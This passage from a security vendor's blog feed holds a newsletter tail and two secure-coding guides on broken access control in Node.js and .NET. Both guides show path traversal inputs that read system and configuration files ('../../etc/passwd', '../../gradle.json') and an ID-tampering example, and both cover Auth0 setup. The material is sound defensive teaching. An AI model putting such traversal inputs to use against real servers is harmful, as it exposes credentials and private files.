join the Log4Shell Detection Beta program, please reach out to &lt;a href=&quot;mailto:beta@stackhawk.com&quot;&gt;beta@stackhawk.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;mailto:beta@stackhawk.com&quot;&gt;Join the Beta&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/log4shell-issue-overview-and-stackhawk-response-to-log4j-remote-code/&quot;&gt;Learn About Log4Shell&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;⚡️ The ZAPCon Schedule is Live&lt;/h2&gt;&lt;p&gt;The full schedule for ZAPCon 2022 is now available! ZAPCon is a virtual event, happening on March 8-9, featuring talks and hands-on workshops from application security experts. &lt;/p&gt;&lt;p&gt;Line-up highlights include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A keynote from Jim Manico, CEO, Founder, and Application Security Editor at Manicode Security. Jim will be presenting an exclusive talk on The OWASP Top Ten 2021 and ZAP. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Simon Bennetts, ZAP Founder and Distinguished Engineer at StackHawk, will share key ZAP Project Updates.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Akshath Kothari, ZAP Core Team Member and Founding Engineer at Levo.ai, will explore Out-of-band Application Security Testing with ZAP.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;…and so much more!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;ZAPCon is completely free to attend. Register now to save your spot.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://hopin.com/events/zapcon/registration&quot;&gt;Register Now&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://zapcon.io/#schedule&quot;&gt;See the Schedule &lt;/a&gt;&lt;/p&gt;&lt;h2&gt;ICYMI: The New StackHawk CLI&lt;/h2&gt;&lt;p&gt;Did you hear? In January, we released the first-ever StackHawk CLI.&lt;/p&gt;&lt;p&gt;The CLI is ideal for those looking to integrate StackHawk in their local development environment. The commands available in the CLI provide greater granularity to interact with and configure the StackHawk scanner, all from the terminal.&lt;/p&gt;&lt;p&gt;The CLI is also helpful for teams that are unable to run the Docker version of the StackHawk scanner as there is no Docker dependency. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;Getting Started Guide&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/&quot;&gt;Read the CLI Docs&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/X59Hbonqm3E&quot;&gt;Friday Hacking on ZAP - Updating Command OS Injection Scan Rule&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.eficode.com/devops-podcast/api-security-testiing-stackhawk&quot;&gt;Scott Gerlach on the DevOps Sauna Podcast&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/pN8FseGNEk4&quot;&gt;Introducing the StackHawk CLI: Technical Demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/zapcon-2022-schedule-is-now-live/&quot;&gt;ZAPCon 2022 Schedule is Now Live&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;API Security Testing Overview and Tooling Guide&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt;Why Shift Security Left?&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;March 8-9:&lt;/b&gt; &lt;a href=&quot;https://zapcon.io/&quot;&gt;ZAPCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;March 8-9:&lt;/b&gt; &lt;a href=&quot;https://www.thedevopsconference.com/&quot;&gt;The DEVOPS Conference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;March 24-25: &lt;/b&gt;&lt;a href=&quot;https://www.devopsjsconf.com/&quot;&gt;DevOps.js&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;💼 Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DevOps Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Director of Customer Success&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Sr. Technical Product Manager&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we examine the topic of access control and how to provide a robust level of security for applications. &lt;/p&gt;&lt;p&gt;First, we briefly define broken access control. Then, we illustrate, with examples, what broken access control looks like and what vulnerabilities they target. Finally, we offer some mitigating solutions for those vulnerabilities. &lt;/p&gt;&lt;p&gt;If you have no experience working with Node.js, we highly suggest you explore &lt;a href=&quot;https://nodejs.dev/en/learn/introduction-to-nodejs/&quot;&gt;&lt;u&gt;this introduction to Node.js&lt;/u&gt;&lt;/a&gt;; some aspects we’ll discuss might not be immediately clear unless you have some background in the technology. &lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s jump right in. &lt;/p&gt;&lt;h2&gt;Access Control 101&lt;/h2&gt;&lt;p&gt;Simply speaking, &lt;b&gt;access control&lt;/b&gt; describes a set of policies and mechanisms implemented to supervise and control access to resources on a system. You might know access control by another name: &lt;b&gt;authorization&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Once a server determines your identity through some login or authentication mechanism, it grants or limits what functions and resources you can access within the system. In addition, we usually use access control for user tracking. &lt;/p&gt;&lt;p&gt;Despite the simplicity of its concepts, appropriately implementing a robust and secure access control system is very difficult. Access control is closely bound to a system’s architecture. Moreover, users regularly fall into more than one role, making access management more complex. Therefore, in general, we discourage developing access control from scratch, and instead, we recommend adopting battle-tested, robust solutions like &lt;a href=&quot;https://oauth.net/2/&quot;&gt;&lt;u&gt;OAuth 2.0&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://jwt.io/&quot;&gt;&lt;u&gt;JWT&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Explaining Broken Access Control&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Broken access control&lt;/b&gt; comprises a set of known exploits that can represent a threat to your systems&amp;#39; control over resource access. &lt;/p&gt;&lt;p&gt;Despite easy exploitation of many access control vulnerabilities if neglected, you can address them relatively quickly. This point is important because the consequences of a breach in access control can be pretty destructive — attackers can essentially take over your system. &lt;/p&gt;&lt;h2&gt;Common Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;As mentioned in our previous articles, attackers can exploit multiple vulnerabilities depending on your technology stack and architecture. However, in this article, for brevity, we focus only on insecure IDs, path traversal, file permission, and client caching. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s a refresher on the common vulnerabilities of access control. &lt;/p&gt;&lt;h3&gt;Insecure ID Vulnerability&lt;/h3&gt;&lt;p&gt;Most modern websites use some form of ID or &lt;b&gt;index&lt;/b&gt; to quickly and efficiently refer to data. For most circumstances, this works satisfactorily. However, if the IDs are easy to figure out, either by hand or brute force, then you have a security problem on your hands. &lt;/p&gt;&lt;p&gt;To illustrate, imagine you have a profile page section where the user profile is displayed. Then, this URL retrieves your user profile: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/profile?id=123&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, if I were to change the number in the query string manually, and no active access control were in place to validate my request, I could access any profile. &lt;/p&gt;&lt;h3&gt;Path Traversal Vulnerability&lt;/h3&gt;&lt;p&gt;The concept of Path Traversal defines the capacity of a user to navigate a filesystem&amp;#39;s directory tree freely.  &lt;/p&gt;&lt;p&gt;A system without proper Access Control might be a victim of Path Traversal exploits and allow attackers to access restricted resources in the server. &lt;/p&gt;&lt;p&gt;This situation can happen when the system allows users to retrieve the path of a resource, an attacker modifies the resource path, and the system does not adequately validate the modification. To see an illustration, please refer to this link. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=user.png&lt;/code&gt;&lt;/p&gt;&lt;p&gt;

If an attacker changes&lt;b&gt; user.png&lt;/b&gt; to something like &lt;b&gt;../../etc/passwd&lt;/b&gt;, they could access the application’s secrets.&lt;/p&gt;&lt;h3&gt;File Permission Vulnerability&lt;/h3&gt;&lt;p&gt;A &lt;b&gt;file permission vulnerability&lt;/b&gt; relates to a weakness in the mechanism that grants permission to specific users to access specific files on a server. &lt;/p&gt;&lt;p&gt;All web applications contain critical configuration files and resources that it should keep inaccessible to users. However, when an application lacks proper configuration policies, an attacker can target these files and take over the entire platform. &lt;/p&gt;&lt;p&gt;To illustrate this, here&amp;#39;s an example of an attack attempting to access a file that should be inaccessible. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=../../gradle.json&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Client Caching Vulnerability&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Client caching vulnerabilities&lt;/b&gt; are tough to address because they involve attackers physically taking over a user’s computer. However, instead of attacking remotely, bad actors take advantage of session credentials, cached pages, or data already present in the browser of an authenticated client. Once this happens, the attacker has compromised the server and can access user data. Game over. &lt;/p&gt;&lt;h2&gt;Addressing Broken Access Control&lt;/h2&gt;&lt;p&gt;Unfortunately, Node.js doesn’t provide a native way to implement a robust web application authentication system. So, we need to &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;implement it ourselves&lt;/u&gt;&lt;/a&gt;. In this case, we’ll use &lt;b&gt;Auth0&lt;/b&gt; to implement authentication as a&lt;b&gt; single sign-on service&lt;/b&gt; (&lt;b&gt;SSO service)&lt;/b&gt; with a robust and reliable third-party solution. Additionally, we’ll use &lt;b&gt;Passport&lt;/b&gt; as our &lt;b&gt;middleware library&lt;/b&gt; to handle the authentication and authorization processes. &lt;/p&gt;&lt;p&gt;First, go to the &lt;a href=&quot;https://auth0.com/&quot;&gt;&lt;u&gt;Auth0 website&lt;/u&gt;&lt;/a&gt; and register a new application. If you don&amp;#39;t have an Auth0 account, you can sign up &lt;a href=&quot;https://auth0.com/signup&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Once in the Auth0 dashboard, go to the &lt;b&gt;Applications&lt;/b&gt; section and click on the &lt;b&gt;Create application&lt;/b&gt; button. Input a name for your application and make sure to choose &lt;b&gt;Regular web applications&lt;/b&gt; as the application type. &lt;/p&gt;&lt;p&gt;Lastly, click the &lt;b&gt;Create&lt;/b&gt; button. &lt;/p&gt;&lt;p&gt;After creating the application, go to the &lt;b&gt;Settings&lt;/b&gt; tab and get your Auth0 &lt;b&gt;domain&lt;/b&gt; and &lt;b&gt;client id&lt;/b&gt;. Then, set &lt;b&gt;Allowed callback URLs&lt;/b&gt; to &lt;b&gt;http://localhost:3000/oauth2/redirect&lt;/b&gt; and &lt;b&gt;Allowed logout URLs&lt;/b&gt; to &lt;b&gt;http://localhost:3000/&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;The first URL tells Auth0 where to redirect the user after authentication, and the second URL tells Auth0 where to redirect the user after logout. &lt;/p&gt;&lt;p&gt;Lastly, save your changes. &lt;/p&gt;&lt;h3&gt;Implementing Authentication Middleware&lt;/h3&gt;&lt;p&gt;Now, in your project, go to your &lt;b&gt;.env&lt;/b&gt; file (create one by using the &lt;b&gt;touch .env&lt;/b&gt; command if you don&amp;#39;t already have one) and add the following keys. &lt;/p&gt;&lt;p&gt;&lt;code&gt;AUTH0_DOMAIN=__INSERT_DOMAIN_HERE__
AUTH0_CLIENT_ID=__INSERT_CLIENT_ID_HERE__
AUTH0_CLIENT_SECRET=__INSERT_CLIENT_SECRET_HERE__&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When finished, proceed to install the passport middleware with the following commands: &lt;/p&gt;&lt;p&gt;&lt;code&gt;$ npm install passport
$ npm install passport-openidconnect
$ npm install express-session
$ npm install connect-sqlite3&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, create a class file called &lt;b&gt;auth.js&lt;/b&gt; in the &lt;b&gt;routes folder&lt;/b&gt; and add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When a user clicks the &lt;b&gt;Sign in&lt;/b&gt; button, the system redirects them to your app&amp;#39;s sign-in page hosted by Auth0, where the user will log in. &lt;/p&gt;&lt;p&gt;After logging in, Auth0 redirects the user to your app. &lt;/p&gt;&lt;h3&gt;Auth Routes&lt;/h3&gt;&lt;p&gt;Now, we need to add the &lt;b&gt;auth routes&lt;/b&gt; to our app. &lt;/p&gt;&lt;p&gt;Go to the &lt;b&gt;app.js&lt;/b&gt; class and modify the code as follows: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That should add all the code necessary for authentication. Now we can proceed to enforce it. &lt;/p&gt;&lt;p&gt;In the case of &lt;b&gt;Express.js&lt;/b&gt;, the following route exemplifies an unprotected endpoint, because it doesn’t enforce any authentication: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.post(&amp;#39;/admin&amp;#39;, function (req, res) {
// ADMIN AREA
});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This endpoint is available to everyone and must be protected by some authentication mechanism. &lt;/p&gt;&lt;p&gt;Thankfully, Express.js allows you to implement an authentication mechanism as &lt;b&gt;middleware&lt;/b&gt;. Therefore, a straightforward way to protect this endpoint would be the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;function authenticate(req, res, next) {
if (!req.session.isLoggedIn) {
res.redirect(&amp;#39;/index.html&amp;#39;);
} else {
next();
}
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can also insert the authentication verification directly in the route, like bellow: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.post(&amp;#39;/admin&amp;#39;, authenticate, function (req, res) { /***/ });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s about it. &lt;/p&gt;&lt;h2&gt;Tackling Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;Given that most access control mitigations are standard on all technology stacks, let’s go over a brief refresher on what we’ve already established for various vulnerabilities in previous articles on the subject. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Insecure IDs:&lt;/b&gt; You can easily achieve this solution by implementing &lt;b&gt;global unique identifier numbers&lt;/b&gt; (&lt;b&gt;GUIDs)&lt;/b&gt; as IDs. You must develop your system with this vulnerability in mind early on. All IDs (or those belonging to sensitive resources) must be obfuscated and unique. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Path Traversal:&lt;/b&gt; Path Traversal mitigation requires validating all user inputs and restricting access to critical resources. Luckily, you don&amp;#39;t need to do much to implement proper path traversal policies, thanks to the robustness of libraries like &lt;b&gt;Spring Security&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;File Permission:&lt;/b&gt; Unless you need to tinker with server permissions and add features related to file manipulation, you don&amp;#39;t need to do much to keep file permissions secure. Nonetheless, consult with your server manager if you need further instructions. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Client Caching:&lt;/b&gt; In this case, the most effective solution is also the most simple. Don&amp;#39;t store sensitive user information in the client browser. However, if you must venture into sophisticated features due to requirements, implement proper HTML meta tags and async validations to confirm authority on page load. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As time passes, threats become more abundant and dangerous. To mitigate them and ensure users’ security, software companies constantly incorporate more sophisticated and robust solutions. And as developers, we’re responsible for ensuring that we take advantage of the solutions available to us so our platforms are protected from bad actors on the web. &lt;/p&gt;&lt;p&gt;Furthermore, ensuring the stability of our platforms and the security of our users&amp;#39; information is a critical matter that gets more complex and sensitive over time. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The goal of this article is to explore the subject of access control and how you can provide appropriate security for your websites. First, we will briefly address what broken access control is. Then, we will use examples to illustrate what broken access control looks like and what vulnerabilities get targeted. Finally, we&amp;#39;ll give you several mitigating solutions for those vulnerabilities. &lt;/p&gt;&lt;p&gt;Without further ado, let&amp;#39;s jump right in. &lt;/p&gt;&lt;h2&gt;What Is Access Control?&lt;/h2&gt;&lt;p&gt;First, we&amp;#39;ll start by laying out the basics of what access control is. &lt;/p&gt;&lt;p&gt;Access control, also commonly referred to as authorization, is a set of mechanisms and policies that manage access over resources. Usually, once the server has determined your credentials using an authentication mechanism, it will then grant or restrict what resources you can access in the system. Also, the authorization infrastructure serves as the backbone for user tracking resource monitoring. &lt;/p&gt;&lt;p&gt;Furthermore, users of most platforms usually fit into more than one role, which means that access control complexity rises exponentially. &lt;/p&gt;&lt;p&gt;It&amp;#39;s important not to confuse authentication with authorization. According to &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/security/authentication/?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;Microsoft&lt;/u&gt;&lt;/a&gt;, &amp;quot;authentication is the process of determining a user&amp;#39;s identity. Authorization is the process of determining whether a user has access to a resource.&amp;quot; &lt;/p&gt;&lt;p&gt;Properly implementing a solid and secure access control system is complex and tricky since it&amp;#39;s closely tied to the system architecture. Because of this, the task of &lt;i&gt;developing&lt;/i&gt; an access control mechanism for applications can be daunting, even for experienced engineers. In fact, depending on the scale and complexity of the system, an adequate solution could be to implement a third-party library or a simple authentication, or perhaps even a combination of the two.&lt;/p&gt;&lt;h2&gt;Explaining Broken Access Control&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve explained what access control is, that gives a better idea of what broken access control refers to. Simply speaking, broken access control describes the vulnerabilities that exist in a system&amp;#39;s access control.  &lt;/p&gt;&lt;p&gt;As explained before, any breach of the access control mechanism can be catastrophic for a system. Given that a successful attack could provide an attacker with free rein over your platform, it is crucial to address any vulnerabilities that exist. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Broken Access Control Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s now explore what a common broken access control vulnerability looks like. &lt;/p&gt;&lt;p&gt;In this post, we covered insecure IDs, path traversal, file permission, and client caching attacks. But here&amp;#39;s a brief refresher. &lt;/p&gt;&lt;h3&gt;Insecure IDs Vulnerability&lt;/h3&gt;&lt;p&gt;A majority of modern websites use some type of ID or index to refer to data quickly, and this works well for most situations. That said, if these IDs are too simple for someone to figure out, whether that&amp;#39;s by hand or by brute force, then you&amp;#39;ll be faced with a security problem. &lt;/p&gt;&lt;p&gt;To illustrate, imagine you have a profile page section where the user profile is displayed. Then, this URL retrieves our user profile: &lt;a href=&quot;https://www.mywebsite.com/profile?id=123&quot;&gt;&lt;u&gt;https://www.mywebsite.com/profile?id=123&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;If I decide to manually alter the number in the query string and there&amp;#39;s no active access control that will validate my request, I can access any profile I want. &lt;/p&gt;&lt;h3&gt;Path Traversal Vulnerability&lt;/h3&gt;&lt;p&gt;The concept of path traversal refers to a user&amp;#39;s capacity to freely navigate a filesystem&amp;#39;s directory tree.  &lt;/p&gt;&lt;p&gt;A system that doesn&amp;#39;t have proper access control has the potential of being vulnerable to path traversal exploits and could let attackers access restricted resources that are in the server. This scenario might occur when the path of a resource that the system is letting be retrieved is able to be changed and isn&amp;#39;t validated properly. &lt;/p&gt;&lt;p&gt;As an example, please refer to the following URL: &lt;a href=&quot;https://www.mywebsite.com/photos?file=user.png&quot;&gt;&lt;u&gt;https://www.mywebsite.com/photos?file=user.png&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;If I changed &amp;quot;user.png&amp;quot; to &amp;quot;../../etc/passwd&amp;quot;, for instance, then I could access the application secrets. &lt;/p&gt;&lt;h3&gt;File Permission Vulnerability&lt;/h3&gt;&lt;p&gt;File permission vulnerability relates to vulnerabilities in a server&amp;#39;s permission mechanism in its filesystem.  &lt;/p&gt;&lt;p&gt;Every web app has critical configuration files and resources that outsiders shouldn&amp;#39;t have access to. But if the right configuration policies aren&amp;#39;t in place, a hacker can target these files and then overtake the entire platform. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example of someone trying to get into a file that should be unavailable to them: https://www.mywebsite.com/photos?file=../../gradle.json &lt;/p&gt;&lt;h3&gt;Client Caching Vulnerability&lt;/h3&gt;&lt;p&gt;Vulnerabilities involving client caching can be difficult to address. Instead of attacking remotely, a hacker physically takes over a user&amp;#39;s computer. That means the hacker is able to use cached pages, session credentials, and browser data that already exist and have been authenticated. &lt;/p&gt;&lt;p&gt;Once the attacker has done this, they&amp;#39;re able to quickly gain access to the user&amp;#39;s information. &lt;/p&gt;&lt;h2&gt;Addressing Broken Access Control&lt;/h2&gt;&lt;p&gt;All things considered, many variables can make tackling access control vulnerabilities either a straightforward process or an incredibly complex ordeal. The complexness of your platform, your architecture, and data sensitivity are but a few of them. That said, the first step should always be to implement a proper authentication mechanism.  &lt;/p&gt;&lt;p&gt;As explained in the &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/security/authentication/?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;Microsoft official documentation site&lt;/u&gt;&lt;/a&gt;, &amp;quot;in ASP.NET Core, authentication is handled by the &lt;b&gt;IAuthenticationService&lt;/b&gt;, which is used by authentication &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/fundamentals/middleware/?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;middleware&lt;/u&gt;&lt;/a&gt;. The authentication service uses registered authentication handlers to complete authentication-related actions.&amp;quot;  &lt;/p&gt;&lt;p&gt;To implement authentication, we will be using the Auth0 SSO service to provide a third-party solution that is robust and reliable. &lt;/p&gt;&lt;p&gt;First, we have to go to the Auth0 website and register our application. You&amp;#39;ll have to sign up for an &lt;a href=&quot;https://auth0.com/signup&quot;&gt;&lt;u&gt;Auth0 account&lt;/u&gt;&lt;/a&gt; if you don&amp;#39;t already have one. &lt;/p&gt;&lt;p&gt;Once in the dashboard, go to the Applications section and click on the &lt;b&gt;Create application&lt;/b&gt; button. Then, input a name for your application and make sure to choose &amp;quot;Regular web applications&lt;i&gt;&amp;quot;&lt;/i&gt; as the application type.  &lt;/p&gt;&lt;p&gt;Lastly, click the &lt;b&gt;Create&lt;/b&gt; button. &lt;/p&gt;&lt;p&gt;After creating the application, go to the Settings tab and get your Auth0 &amp;quot;domain&amp;quot; and &amp;quot;client ID.&amp;quot; Then, set &amp;quot;Allowed callback URLs&amp;quot; to &amp;quot;https://localhost:9595/callback&amp;quot; and set &amp;quot;Allowed logout URLs&amp;quot; to &amp;quot;https://localhost:9595/&amp;quot;. &lt;/p&gt;&lt;p&gt;The first URL will indicate to Auth0 where to redirect the user after authentication, while the second URL indicates where to redirect the user after logout. &lt;/p&gt;&lt;p&gt;Finally, save your changes. &lt;/p&gt;&lt;p&gt;Now, go to your project&amp;#39;s &lt;b&gt;appsettings.json&lt;/b&gt; file and set the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Replace YOUR_DOMAIN and YOUR_CLIENT_ID with the corresponding values you copied from the Auth0 dashboard. &lt;/p&gt;&lt;h2&gt;Implementing the Authentication SDK&lt;/h2&gt;&lt;p&gt;Now that Auth0 has been set up, you can implement the authorization changes so your application takes advantage of it. &lt;/p&gt;&lt;p&gt;First, install the &lt;a href=&quot;https://github.com/auth0/auth0-aspnetcore-authentication&quot;&gt;&lt;u&gt;Auth0 ASP.NET Core Authentication SDK&lt;/u&gt;&lt;/a&gt; by running the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;dotnet add package Auth0.AspNetCore.Authentication&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This library lets you easily integrate OpenID Connect–based authentication into your website quickly and painlessly. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s modify our application code to support the authentication mechanism.  &lt;/p&gt;&lt;p&gt;Go to the &lt;b&gt;Program.cs&lt;/b&gt; file and update its contents:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here we first added a reference to the Auth0.AspNetCore.Authentication. Then we invoked the method &lt;b&gt;AddAuth0WebAppAuthentication()&lt;/b&gt; with Auth0 as domain and our client ID. Finally, we called the &lt;b&gt;UseAuthentication()&lt;/b&gt; method to allow the authentication middleware to do its work.&lt;/p&gt;&lt;h3&gt;Implementing Login&lt;/h3&gt;&lt;p&gt;To implement a login mechanism, add an &lt;b&gt;AccountController.cs&lt;/b&gt; class to the Controllers folder and add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This class defines a controller to handle standard user functions. &lt;/p&gt;&lt;p&gt;Finally, make sure to add a login link redirecting to this controller, and voilà, you have a login form. &lt;/p&gt;&lt;p&gt;It&amp;#39;s important to remember that even though the authentication groundwork has been done, you have not yet protected any method with it. To do that, you simply need to add the &lt;b&gt;[Authorize]&lt;/b&gt; directive over it and then ASP will do the rest for you. &lt;/p&gt;&lt;h2&gt;Tackling Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;We need to make a few adjustments to our platform to tackle the specific vulnerabilities stated above. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Insecure IDs:&lt;/b&gt; You can easily resolve insecure IDs by implementing GUIDs as IDs. You&amp;#39;ll have to develop your system early on with this vulnerability in mind. IDs that belong to sensitive resources have to be unique and cloaked. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Path traversal:&lt;/b&gt; Addressing path traversal mitigation requires you to validate user inputs and limit access to critical resources. Thankfully, there&amp;#39;s not much you have to do to implement proper path traversal policies because libraries like Spring Security are robust. &lt;/p&gt;&lt;p&gt;&lt;b&gt;File permission:&lt;/b&gt; In terms of file permission, you don&amp;#39;t need to do a lot to stay secure, unless you have to play with server permissions and add features that have to do with file manipulation. Despite this, it&amp;#39;s best to talk to your server manager if needed. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Client caching:&lt;/b&gt; With client caching, the best solution is also the simplest one: You&amp;#39;ll be okay as long as you&amp;#39;re not storing sensitive user information on the client browser. But if you have to explore sophisticated features, be sure to use async validations and HTML meta tags to confirm authority when the page loads. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;While building solid web applications, we are constantly making tiny decisions that can affect the stability and security of a business. We depend on an extensive understanding of development, infrastructure, and security fundamentals to carry out this responsibility properly.  